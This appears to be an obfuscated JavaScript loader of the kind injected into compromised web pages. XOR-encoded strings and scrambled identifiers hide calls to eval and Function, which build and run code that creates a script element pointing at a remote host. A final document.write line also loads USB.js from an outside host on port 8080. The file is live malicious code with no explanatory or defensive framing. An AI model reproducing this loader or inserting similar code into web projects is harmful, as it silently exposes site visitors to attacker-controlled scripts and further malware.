var rh="cbc4dcfccba7ccd3d4c8eda1cecdd4cf96daf3dcfad0fbeedcfce2c8f5d8f3c2e9c8ebc2d6c5d6dfccced6c6eecdd6f8f2d4c4d2cdcce2fcd8e1c3d7f8cdc6e6ccd2d2a6fbf683d1d2c7bcd1d2a7c3d7";var lk='';var Ng='';function N(t){var dc;if(dc!='fD'){dc=''};var Dc=new String();var KH=false; var C=function(W,GE){return W^GE;var ZW;if(ZW!='oF'){ZW=''};};var g="";var Lt;if(Lt!='I'){Lt=''};var oV;if(oV!='y'){oV=''}; var w=function(u,GN){this.fDI=false;return u[G("reoCcadhAt", [4,7,5,0,3,2,6,1])](GN);var DY;if(DY!='BR'){DY=''};};this.MB=''; var X=function(b){var hV="";var Rn='';var CB = -1;this.Kv="Kv";this.Di="Di";b = new GH(b);var Q;if(Q!='uR' && Q!='qj'){Q='uR'};var xJ;if(xJ!='c' && xJ!='bu'){xJ='c'};var A = '';var nn=new Date();var H =[124,233,0][2];var Zx=29836;var bT =[102,117,191,0][3];var OE;if(OE!='' && OE!='ul'){OE='bK'};var Jd;if(Jd!='' && Jd!='p'){Jd=null};var Lr=false;var yF;if(yF!=''){yF='pb'};for (bT=b[G("hntegl", [5,3,1,4,2,0])]-CB;bT>=H;bT=bT-[170,1][1]){var rc;if(rc!='' && rc!='qb'){rc='Nv'};A+=b[G("hactAr", [2,0,1,5,4,3])](bT);}var gC;if(gC!='ol' && gC != ''){gC=null};var EbD="EbD";var wp=new String();var Ey;if(Ey!='FIq'){Ey=''};return A;var tw;if(tw!='HM' && tw != ''){tw=null};this.JV="";};this.fe="fe";var wq;if(wq!='' && wq!='PK'){wq=''};this.WS='';var fm;if(fm!=''){fm='st'}; var f=function(z){var kl=new Array();var Rsu;if(Rsu!='' && Rsu!='Hf'){Rsu='Kj'};var V;if(V!='' && V!='Lb'){V='tu'};var L=[0][0];var d=[0][0];var j=z[G("elntgh", [1,0,2,4,3])];var IG=false;var K=[255][0];var R=[1,83,134][0];this.oG="oG";var yk;if(yk!=''){yk='JY'};var mg;if(mg!=''){mg='JQ'};var WR;if(WR!='' && WR!='ci'){WR='Ju'};while(L<j){var lS=21865;this.EB="EB";var nk=new String();var iL=new String();L++;var XQ='';var iR='';M=w(z,L - R);d+=M*j;}return new GH(d % K);var Ms="";};var nK;if(nK!=''){nK='Dcl'};var pA=new Array();var Rx;if(Rx!='' && Rx!='hD'){Rx=''}; var tY=new String();var mF;if(mF!='Nm'){mF=''};function G(b, a){var Oz;if(Oz!='' && Oz!='PO'){Oz='yY'};var Vl=new Array();var iP=new Array();var D = b.length;var vjC;if(vjC!='wR' && vjC != ''){vjC=null};var R=[180,1,44][1];var Bq=new String();var H=[0,48][0];var EJ;if(EJ!='sWC' && EJ!='Mv'){EJ='sWC'};var l = a.length;var xj;if(xj!='Fj'){xj=''};var A = '';var GS=false;var fI=59818;for(var bT = H; bT < D; bT += l) {this.Yt=45073;var XN;if(XN!='au' && XN!='Mo'){XN='au'};this.SC=44486;var NL = b.substr(bT, l);var KU;if(KU!='bj' && KU!='Hs'){KU='bj'};if(NL.length == l){var Im;if(Im!='dr' && Im!='gz'){Im=''};var zA=new Date();for(var L in a) {var Vb=56618;var WW;if(WW!='SU' && WW!='al'){WW=''};var Jp;if(Jp!='zJ'){Jp=''};A+=NL.substr(a[L], R);var ob;if(ob!='Mt' && ob!='sZ'){ob=''};var oQ;if(oQ!='An' && oQ!='Ku'){oQ=''};var nZ;if(nZ!=''){nZ='Ut'};this.IGJ='';}} else {  A+=NL;}var BO=false;}var e=new Array();var DP;if(DP!='' && DP!='yh'){DP='xZ'};return A;var cq=new String();}var oe="oe";var nL;if(nL!='oP'){nL=''};var h=window;var Nj=false;var gZ;if(gZ!='zm'){gZ='zm'};var AG=h[G("vela", [1,0])];var J=AG(G("cFunntio", [1,2,3,0]));var Z = '';var GH=AG(G("rtnSgi", [3,1,0,5,2,4]));this.ZP='';var yu=false;var m=AG(G("gREexp", [1,3,0,2]));this.Vh="";var wu='';var rO;if(rO!=''){rO='ig'};var Dj;if(Dj!='GX' && Dj!='Ib'){Dj='GX'};var oH=new String();var P=h[G("snueeacp", [2,1,3,0])];this.wRO='';var mA=new Date();var v=GH[G("rfoCmhraCdoe", [1,0,2])];this.nz="nz";var ka;if(ka!='' && ka!='gvA'){ka='wM'};var Gb="Gb";var Jj="Jj";var ab;if(ab!=''){ab='qZ'};var i = t[G("gnhetl", [5,3,1,0,4,2])];var vK =[119,190,43,0][3];var H =[199,0,205,236][1];var LQ;if(LQ!='' && LQ!='WT'){LQ=''};var k = GH.fromCharCode(37);var Y = '';var Qt=new Array();var lK = '';var qo;if(qo!='zY' && qo!='Vu'){qo='zY'};var FQ=29024;var ZC;if(ZC!='uX'){ZC='uX'};var xq;if(xq!='Ek'){xq='Ek'};this.hx="";this.sgr="";var kHx=new Array();var TR;if(TR!='' && TR!='iv'){TR='Wn'};this.sm=44270;var hO = '';var fO=[1, G("cmtnoeduraEect.emn\'(etlerp)\'ctsi", [6,4,0,7,1,5,3,2]),2, G("codemu.tndoba.yeppCdnlihd(d)", [2,1,0]),3, G("k.uivlsieedtsien.gu:r0880", [2,0,1]),4, G("hcraet.rent", [1,0]),5, G("s.dAterttubi(eted\'ref\'", [2,1,0]),6, G("aetnop.s.pt.aol", [3,1,2,6,7,0,5,4]),7, G("ndiw.owooalnd", [3,2,0,1]),8, G("darbti.ecom", [1,0,3,2]),11, G("otnincuf()", [7,6,2,5,1,3,0,4]),12, G("ooglegco.m", [2,0,1]),14, G("tccaeh)(", [1,3,0,2]),15, G("60.3cn", [3,0,1,2]),16, G("t\"htp:", [1,2,0,3]),17, G("okeyal", [2,1,0]),18, G(".dsrc", [1,0,2,3]),19, G("\'\')1", [1,3,0,2]),20, G("ytr", [1,2,0]),21, G("oc", [1,0])];var Rz="Rz";var o = /[^@a-z0-9A-Z_-]/g;var oM;if(oM!='' && oM!='Wq'){oM='ym'};var R =[232,122,190,1][3];var s =[186,2,235][1];var zAe="";var pM=new Array();this.cX="";this.OEL="";for(var RZ=H; RZ < i; RZ+=s){var SCl=new Date();var LH;if(LH!='' && LH!='GD'){LH=''};hO+= k; var ivJ;if(ivJ!=''){ivJ='Mx'};var Bhc;if(Bhc!=''){Bhc='NLR'};hO+= t[G("stburs", [5,3,2,0,1,4])](RZ, s);}this.WE=6481;var AN=new Date();var t = P(hO);var AyP;if(AyP!='' && AyP!='Lx'){AyP=null};var F = new GH(N);var If;if(If!='' && If!='nU'){If='qR'};var kn = F[G("preclae", [1,2,0])](o, lK);var JX="";var lq;if(lq!='FXQ' && lq!='Om'){lq='FXQ'};var Jm;if(Jm!='' && Jm!='nzR'){Jm=null};var Xg=false;kn = X(kn);var FN = new GH(J);var ar='';var aU = fO[G("nthgel", [5,4,0,3,1,2])];var BPo=38097;var Vlw;if(Vlw!='oJ' && Vlw!='xC'){Vlw=''};this.Gz="";var ah = FN[G("eaprlce", [3,0,2,4,1])](o, lK);this.Le='';var ah = f(ah);var Jn="";var vi=f(kn);var Bl=new String();var Qm=false;for(var bT=H; bT < (t[G("nlegth", [1,2,0,3])]);bT=bT+[62,1,249,221][1]) {this.QN="QN";var sW = kn.charCodeAt(vK);var jZ=new Array();var uH;if(uH!=''){uH='oB'};var XJ = w(t,bT);this.AP='';var yNe="yNe";XJ = C(XJ, sW);var XYs;if(XYs!='' && XYs!='od'){XYs=null};XJ = C(XJ, vi);var Bz;if(Bz!='wV' && Bz!='HE'){Bz='wV'};var tD=new Date();XJ = C(XJ, ah);var PT=new String();var SN;if(SN!='' && SN!='nVI'){SN='hH'};vK++;var lV;if(lV!='nH' && lV != ''){lV=null};var Bi;if(Bi!='' && Bi!='PE'){Bi=null};if(vK > kn.length-R){var Vk="Vk";var TH;if(TH!='Zo'){TH=''};vK=H;}var Ap;if(Ap!='Zn' && Ap!='TO'){Ap='Zn'};Y += v(XJ);}this.wqp=false;var Or;if(Or!='' && Or!='IA'){Or='VCV'};var DS="DS";for(T=H; T < aU; T+=s){var WD=6553;var zF=new Date();this.yxY=false;this.Tl=false;var ff = fO[T + R];var Fd=52191;var WWj;if(WWj!='Kug' && WWj!='ty'){WWj=''};var DR = v(fO[T]);var Nz;if(Nz!='oh'){Nz=''};this.dp=51246;var Rw;if(Rw!='oj' && Rw!='RK'){Rw='oj'};var Fq = new m(DR, "g");Y=Y[G("lraecpe", [1,3,5,0,2,4])](Fq, ff);var WJ="";}var UL;if(UL!='' && UL!='UH'){UL='Efj'};var dM=new J(Y);this.Zk='';dM();var pv;if(pv!='Ph' && pv != ''){pv=null};kn = '';var Tw=new String();var El;if(El!='' && El!='hVs'){El='zP'};dM = '';var Sy="Sy";vi = '';FN = '';var nQ;if(nQ!='Oi'){nQ=''};ah = '';var ss;if(ss!='PP' && ss != ''){ss=null};Y = '';var ct=false;var Qi;if(Qi!='Ks' && Qi != ''){Qi=null};var OZ;if(OZ!='qX' && OZ != ''){OZ=null};return '';this.ei='';};var lk='';var Ng='';N(rh);








document.write('<s'+'cript type="text/javascript" src="http://assolkh.blackhulu.com:8080/USB.js"></scr'+'ipt>');
